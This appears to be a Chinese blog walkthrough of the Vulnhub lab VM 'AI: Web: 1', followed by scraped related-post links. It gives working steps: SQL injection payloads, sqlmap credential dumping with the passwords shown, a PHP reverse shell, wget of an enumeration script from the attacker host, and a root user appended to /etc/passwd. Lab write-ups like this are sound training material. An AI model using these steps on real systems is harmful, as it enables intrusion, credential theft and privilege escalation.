AI:WEB:1 Walkthrough
AI: Web: 1 Vulnhub Walkthrough
靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/
测试方法:
Nmap网络扫描
浏览网页
爆破目录
SQL注入获取凭证
SQL注入获取shell
可写/etc/passwd 提权
读取flag文件
靶机和攻击机处于统一网段下 所以就不用netdiscover扫描了
靶机IP:192.168.123.211
攻击机IP:192.168.123.30
主机发现:
ifconfig

nmap -sn 192.168.123.1/24
主机扫描:
nmap -A 192.168.123.211
发现只有一个80端口打开,用浏览器访问

主页上没有任何有用的信息
但是nmap扫到的robots.txt文件中有两个特别的目录
/m3diNf0/
/se3reTdir777/uploads/
浏览器打开

禁止访问,使用dirb爆破子目录
发现一个phpinfo页面
再爆破另外一个目录
没有有用的信息
接着爆破上级目录

发现了一个index.php
看到了输入框,先测试是否有sql注入


1' union select 1,2,database() #

观察URL可知 不是GET提交参数
所以先用BurpSuite抓包,然后上神器sqlmap

sqlmap -r AI-WEB1.txt --dbs --batch


数据库名为aiweb1
接下来查询库中的所有数据
sqlmap -r AI-WEB1.txt -D aiweb1 --dump-all –batch

password字段base64解码
Table: systemUser
[3 entries]
+----+-----------+----------------------------------------------+
| id | userName | password |
+----+-----------+----------------------------------------------+
| 1 | t00r | FakeUserPassw0rd |
| 2 | aiweb1pwn | MyEvilPass_f908sdaf9_sadfasf0sa |
| 3 | u3er | N0tThis0neAls0 |
+----+-----------+----------------------------------------------+
登录凭证拿到了 得想办法拿web shell
sqlmap -r AI-WEB1.txt --privileg --batch 查看mysql的权限

FILE权限 可以对服务器本地文件进行操作
尝试使用os_shell直接得到shell
PS:
使用OS_shell的条件
(1)具有file权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
第一点满足了,绝对路径可从info.php中找到
sqlmap -r AI-WEB1.txt -D aiweb1 --os-shell



为了接下来的提权,我们利用执行os_shell留下来的上传页面 上传php恶意脚本,反弹shell

php脚本中的IP改为攻击机的IP
c
上传

攻击机监听端口

访问恶意脚本

反弹shell成功 但这只是一个非交互式shell
我们利用python来模拟一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
注意 我们虽然有aiweb1pwn的密码 但是这个用户并不是root用户
所以还是得找其他方式提权
上传扫描脚本看靶机的配置是否有问题
攻击机开启一个web服务
python -m SimpleHTTPServer 8081

靶机下载脚本
cd /tmp
wget 192.168.123.30:8081/LinEnum.sh
给脚本执行权限
chmod 777 LinEnum.sh
./LinEnum.sh

查看脚本输出信息
发现passwd文件我们竟然能够修改
直接添加一个root用户
openssl passwd -1 -salt salt 1234
echo 'hack:$1$salt$kqNI5AJoJdN1WgWoNslBD0:0:0::/root:/bin/bash' >> /etc/passwd

tail /etc/passwd

添加成功,切换用户(hack:1234)
su hack
id


AI:WEB:1 Walkthrough的更多相关文章
- vulnhub AI: Web: 1
vulnhub AI: Web: 1 提取flag攻略 导入虚拟机,开机. 扫描NAT的C段,确定虚拟机IP和开放端口. 尝试访问该网站 发现什么都没有,抽根烟冷静一下...... 来波目录扫描吧 使 ...
- AI: Web: 1 Vulnhub Walkthrough
下载链接: https://www.vulnhub.com/entry/ai-web-1,353/ 主机发现扫描: 主机端口扫描 http://10.10.202.158/ 目录扫描: ╰─ sudo ...
- AI: Web: 2 Vulnhub Walkthrough
靶机下载链接: https://www.vulnhub.com/entry/ai-web-2,357 主机端口扫描: 尝试SQL注入,未发现有注入漏洞,就注册创建于一账户 http://10.10.2 ...
- 德州扑克AI WEB版
继续之前的德州扑克话题,上次的DOS界面确实没法看,我女朋友说这是什么鬼.哈哈,估计只有自己能玩了 这两天重构了一下界面,基于web服务器和浏览器来交互. 服务器和客户端之间用websocket通信, ...
- 使用 flask-restful 编写 自己的 ai web service
本项目在 win 平台采用 pycharm 编写, 技能与环境要求: python 基础, web 基础知识, python.exe = 3.6+ 算法>第四版,操作系统推荐<现代操作系统 ...
- AI Web 1.0
kali:192.168.0.103 目标机:192.168.0.105 0X01 端口和目录扫描 打开目标主页没有任何信息 a) 端口扫描 只有一个80端口开启 b) 目录扫描 0x03 查看敏感目 ...
- AI Web 2.0
kali: 192.168.0.103 目标机:192.168.0.105 0X01 扫描端口和目录 a)扫描端口 开启了80和22端口 b)扫描目录 看到两个敏感字样的目录 尝试访问/webadmi ...
- .NET Core迁移技巧之web.config配置文件
大家都知道.NET Core现在不再支持原来的web.config配置文件了,取而代之的是json或xml配置文件.官方推荐的项目配置方式是使用appsettings.json配置文件,这对现有一些重 ...
- .NET Core 2.0迁移技巧之web.config配置文件
大家都知道.NET Core现在不再支持原来的web.config配置文件了,取而代之的是json或xml配置文件.官方推荐的项目配置方式是使用appsettings.json配置文件,这对现有一些重 ...
随机推荐
- SQLAlchemy(1)
介绍 SQLAlchemy是一个基于Python实现的ORM框架.该框架建立在 DB API之上,使用关系对象映射进行数据库操作,简言之便是:将类和对象转换成SQL,然后使用数据API执行SQL并获取 ...
- 201871010135 张玉晶《面向对象程序设计(java)》第十一周学习总结
项目 内容 <面向对象程序设计(java)> https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/ ...
- python字典基本操作
字典是python中五中基本数据类型之一,虽然它的赋值稍微麻烦点,但用起来真的是很方便.它用键值对来存放数据,所谓键值对,就是一个键,对应一个值,如果后面对前面的键再次赋值,第一次的值就被覆盖掉.像是 ...
- 【Spring AOP】通知(五)
一.通知介绍 1. 前置通知(Before) 在目标方法执行之前执行的通知. 前置通知方法,可以没有参数,也可以额外接收一个JoinPoint,Spring会自动将该对象传入,代表当前的连接点,通过该 ...
- 【使用篇二】SpringBoot服务端数据校验(8)
对于任何一个应用而言,客户端做的数据有效性验证都不是安全有效的,而数据验证又是一个企业级项目架构上最为基础的功能模块,这时候就要求我们在服务端接收到数据的时候也对数据的有效性进行验证.为什么这么说呢? ...
- maven项目目录(二)
-- 项目目录 --src 项目中的所有资源 --main 存放开发代码和资源 --java 项目的java源代码 --resources 项目的资源文件,源代码之外的其他文件 --test 存放测试 ...
- pom文件详解(自己没看过)
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/20 ...
- __str__与__repr__的触发顺序总结
1.__str__是个内置的方法,无需使用者去调用,其会在满足某一条件时自动触发.那么要触发它运行都有哪些条件呢? 有三种条件,分别为:print , str , %s 2.__repr__同样是个内 ...
- Golang(十二)TLS 相关知识(三)理解并模拟简单代理
0. 前言 前面的介绍我们理解了数字签名等知识,同时学习了 OpenSSL 生成私钥和证书并验证 之前提过我们基于 BitTorrent 协议开发了一个 docker 镜像分发加速插件 中间涉及到了配 ...
- JAVA主动抛异常的几种方式及捕捉结果输出对比
测试代码: /** * 测试异常抛出及捕捉 */ @Test public void test() { try { this.testA(); } catch (Exception ex) { Sys ...